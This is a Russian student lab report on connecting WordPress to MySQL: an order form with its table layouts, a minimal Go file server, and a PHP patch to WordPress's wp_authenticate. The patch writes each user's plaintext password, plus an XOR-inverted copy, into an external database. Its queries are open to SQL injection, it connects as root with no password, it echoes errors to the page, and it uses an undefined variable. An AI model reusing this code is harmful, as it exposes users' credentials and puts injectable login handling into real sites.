

**Министерство науки и высшего образования Российской
Федерации ФЕДЕРАЛЬНОЕ ГОСУДАРСТВЕННОЕ АВТОНОМНОЕ
ОБРАЗОВАТЕЛЬНОЕ УЧРЕЖДЕНИЕ ВЫСШЕГО ОБРАЗОВАНИЯ
НАЦИОНАЛЬНЫЙ ИССЛЕДОВАТЕЛЬСКИЙ УНИВЕРСИТЕТ
ИТМО
ITMO University**

ОТЧЁТ ПО ЛАБОРАТОРНОЙ РАБОТЕ №4

По дисциплине Web-программирование

Обучающийся Шестаков Максим Олегович

Факультет Инфокоммуникационных технологий

Группа K3321

**Направление подготовки 11.03.02 Инфокоммуникационные
технологии и системы связи**

**Образовательная программа
Программирование в инфокоммуникационных
системах**

Обучающийся	<u>11.12.2024</u> (дата)	<u> </u> (подпись)	<u>Шестаков М.О.</u> (Ф.И.О.)
Руководитель	<u> </u> (дата)	<u> </u> (подпись)	<u>Марченко Е.В.</u> (Ф.И.О.)

Санкт-
Петербург
2024 г.

СОДЕРЖАНИЕ

Стр.

ВВЕДЕНИЕ	3
1 Ход работы	4
1.1 Задание №1	4
1.2 Задание №2	5
1.3 Задание №3	5
ЗАКЛЮЧЕНИЕ	6

ВВЕДЕНИЕ

Цель работы: Изучение возможностей интеграции Wordpress с MySQL.

1 Ход работы

1.1 Задание №1

В рамках первого упражнения создана веб-страница, на которой можно отправить заказ. При отправке проверяется наличие юзера в таблице, если он есть, по его id создаётся заказ, если нет, то создаётся и выполняется то же самое.

Заказ товара

Фамилия:

Имя:

Отчество:

Адрес для физической доставки товара:

Телефон:

Адрес электронной почты:

Выберите товар:

Выберите товар

Рисунок 1.1 — Страница создания заказа

Также были созданы таблицы в MySQL, их структуры представлены ниже:

#	Имя	Тип	Сравнение	Атрибуты	Null	По умолчанию	Комментарии	Дополнительно	Действие
1	id	int(11)			Нет	Нет		AUTO_INCREMENT	Изменить Удалить Ещё
2	surname	varchar(255)	utf8mb4_general_ci	Да	NULL				Изменить Удалить Ещё
3	name	varchar(255)	utf8mb4_general_ci	Да	NULL				Изменить Удалить Ещё
4	patronymic	varchar(255)	utf8mb4_general_ci	Да	NULL				Изменить Удалить Ещё
5	address	varchar(255)	utf8mb4_general_ci	Да	NULL				Изменить Удалить Ещё
6	phone	varchar(255)	utf8mb4_general_ci	Да	NULL				Изменить Удалить Ещё
7	email	varchar(255)	utf8mb4_general_ci	Да	NULL				Изменить Удалить Ещё

Рисунок 1.2 — Структура таблицы users

#	Имя	Тип	Сравнение	Атрибуты	Null	По умолчанию	Комментарии	Дополнительно	Действие
1	id	int(11)			Нет	Нет		AUTO_INCREMENT	Изменить Удалить Ещё
2	users_id	int(11)		Да	NULL				Изменить Удалить Ещё
3	product	varchar(100)	utf8mb4_general_ci	Нет	Нет				Изменить Удалить Ещё
4	comment	text	utf8mb4_general_ci	Да	NULL				Изменить Удалить Ещё
5	order_date	timestamp		Нет	current_timestamp()				Изменить Удалить Ещё

Рисунок 1.3 — Структура таблицы orders

1.2 Задание №2

Во втором задании требовалось добавить при аутентификации в Wordpress запись в базу данных пароля и его инвертированной версии. Для этого в скрипт pluggable.php в функцию wp_authenticate был добавлен следующий блок кода, который и добавлял записи в БД.

```
if (!empty($password)) {
    // Подключаемся к внешней базе данных
    $external_db = new mysqli('localhost', 'root', '', 'shop');

    // Добавляем пользователя во внешнюю базу данных
    $sql = "INSERT INTO auth (login, password) VALUES ('$username', '$password')";

    if ($external_db->query($sql) === TRUE) {
        echo "Логин и пароль успешно записаны";
    } else {
        echo "Error: " . $sql . "<br>" . $external_db->error;
    }

    // Добавление второй записи с инверт паролем
    for ($i = 0; $i < strlen($password); $i++) {
        $byte = ord($password[$i]);
        $invertedByte = $byte ^ 0xFF;
        $password_inverted .= chr($invertedByte);
    }

    $password_inverted = base64_encode($password_inverted);

    $sql = "INSERT INTO auth (login, password) VALUES ('$username_inverted', '$password_inverted')";

    if ($external_db->query($sql) === TRUE) {
        echo "Логин и инвертированный пароль успешно записаны";
    } else {
        echo "Error: " . $sql . "<br>" . $external_db->error;
    }

    // Закрываем соединение с внешней базой данных
    $external_db->close();
}
```

Рисунок 1.4 — Добавление данных юзера в БД

1.3 Задание №3

В третьем задании необходимо было создать сервер на любом ЯП. Для реализации был выбран язык Go. Ниже представлено создание сервера на данном языке.

```
1 package main
2
3 import (
4     "fmt"
5     "net/http"
6 )
7
8 func main() {
9     http.HandleFunc("/", func(w http.ResponseWriter, r *http.Request) {
10         http.ServeFile(w, r, "index.html")
11     })
12
13     fmt.Println("Сервер запущен на порту 888")
14     http.ListenAndServe(":888", nil)
15 }
16
```

Рисунок 1.5 — Инициализация сервера на 888 порту

ЗАКЛЮЧЕНИЕ

В результате выполнения лабораторной работы были изучены методы интеграционного взаимодействия Wordpress с MySQL, внедрение в скрипты Wordpress своих доработок, а также создание веб-серверов.